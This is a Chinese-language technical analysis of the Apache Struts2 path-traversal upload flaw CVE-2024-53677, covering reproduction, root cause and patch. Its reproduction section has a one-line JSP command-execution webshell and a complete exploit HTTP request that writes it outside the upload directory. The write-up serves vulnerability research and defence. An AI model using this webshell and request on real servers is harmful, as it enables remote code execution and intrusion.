Apache Struts2 文件上传漏洞分析(CVE-2024-53677)
2024-12-20 11:30:0 Author: mp.weixin.qq.com(查看原文) 阅读量:8 收藏

1. 前言

官方公告:   
https://cwiki.apache.org/confluence/display/WW/S2-067

漏洞描述:
Apache Struts 的文件上传逻辑存在缺陷,如果应用程序使用了 FileUploadInterceptor,在进行文件上传时,攻击者可以操纵文件上传参数来启用路径遍历,在某些情况下,这可能导致上传可用于执行远程代码执行的恶意文件。

影响版本:
Apache Struts:           
    2.0.0 - 2.3.37(EOL)
    2.5.0 - 2.5.33 
    6.0.0 - 6.3.0.2

2. 环境搭建

可以参考《Apache Struts2 文件上传漏洞分析(CVE-2023-50164)》
将 pom.xml 中 Struts2 的版本改为 6.3.0.2 即可。
<dependency>      <groupId>org.apache.struts</groupId>      <artifactId>struts2-core</artifactId>      <version>6.3.0.2</version>    </dependency>

3. 漏洞复现

同样准备一个jsp木马文件。
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
上传木马文件抓包,在下面添加一个参数,参数名设置为top.MyfileFileName,参数内容设置为木马文件保存的相对位置及文件名。
从响应包可以看到文件名覆盖成功。

请求包:

POST /upload.action HTTP/1.1            Host: 127.0.0.1:8888            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8            Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2            Accept-Encoding: gzip, deflate, br            Content-Type: multipart/form-data; boundary=---------------------------3701280597827013112747531662            Content-Length: 438            Origin: http://127.0.0.1:8888            Connection: keep-alive            Referer: http://127.0.0.1:8888/upload.action            Cookie: JSESSIONID=4209098B9C419F73225118698688A603            Upgrade-Insecure-Requests: 1            Priority: u=0, i                   -----------------------------3701280597827013112747531662            Content-Disposition: form-data; name="Myfile"; filename="S2-067.txt"            Content-Type: text/plain 
<%Runtime.getRuntime().exec(request.getParameter("i"));%> -----------------------------3701280597827013112747531662 Content-Disposition: form-data; name="top.MyfileFileName"; Content-Type: text/plain           ../exec.jsp -----------------------------3701280597827013112747531662--

文件保存到了/uploads目录下,且文件名保存为构造传入的exec.jsp

访问jsp文件,能成功执行命令。

4. 漏洞分析

经过对 S66 漏洞的修复,已经不能再使用大小写来二次调用属性的 setter 方法了。学习了 y4tacker 师傅的思路,通过先获取 OgnlValueStack 值栈中的栈顶对象,再访问其属性。           
有三种形式获取栈顶对象:
[0]top[0].top  

但是在参数绑定之前,会对参数进行合规校验,其中有条正则如下,要求(\[\d+])前面还需要存在一些其他字符,所以[0][0].top都无法通过参数合规性判断,所以只能使用top来获取栈顶对象。           

\w+((\.\w+)|(\[\d+])|(\(\d+\))|(\['(\w-?|[\u4e00-\u9fa5]-?)+'])|(\('(\w-?|[\u4e00-\u9fa5]-?)+'\)))*

前面部分的参数处理就不细说了,再看下 S66 那篇分析就可以了。这里就只看一下如何处理的top节点。           

从 ParametersInterceptor.setParameters() 看起,对 OgnlValueStack 对象进行参数绑定。           
可以看到,TreeMap 对象中,top.MyfileFileName 参数是排在最后一位的,这时前面三个参数都已经绑定完成了,这时 MyfileFileName 参数的是
S2-067.txt

跟进到 OgnlUtil.compileAndExecute(),对 top.MyfileFileName 进行表达式解析并执行。(解析为链式节点ASTChain)

跟进到 ASTChain.setValueBody(),遍历处理子节点。

先获取 top 节点的值,到 CompoundRootAccessor.getProperty() 中有这样一段 if 判断,如果子节点为 top,root 不为空,就返回栈顶对象,即 UploadAction。

接着就是为 UploadAction 对象的 MyfileFileName 属性设置值,ObjectPropertyAccessor.setPossibleProperty() 中尝试去调用 setter 方法。

ConcurrentHashMap.get(),从缓存中先获取到 UploadAction 的所有 setter 方法,再从中获取 setMyfileFileName() 并返回。

接着调用 setMyfileFileName()。

myfieFileName 被覆盖为../exec.jsp,后续解析路径穿越符,于是上传保存的文件路径就是/uploads/exec.jsp

5. 补丁分析

官方并没有针对这次利用方法发布补丁,而是在新版本中推出了新的文件上传拦截机制。           
org.apache.struts2.interceptor.ActionFileUploadInterceptor    
https://struts.apache.org/core-developers/action-file-upload
ActionFileUploadInterceptor 中直接从文件中获取参数信息,并没有把文件参数与请求中的参数进行合并。

不过在执行 ActionFileUploadInterceptor 拦截器前,先执行了 FileUploadInterceptor,所以请求中构造的 top.MyfileFileName 还是被合并到了参数中。

在参数绑定过程中仍然会覆盖 MyfileFileName 的值。

参考链接:https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/    


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&mid=2247488851&idx=1&sn=efb4d5fe76d020e05760236c16b33ac5&chksm=cf841378f8f39a6eab0cdfd36b2528308afa3d73035190c02720c94c9d17a0b7629e7a6ece5b&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh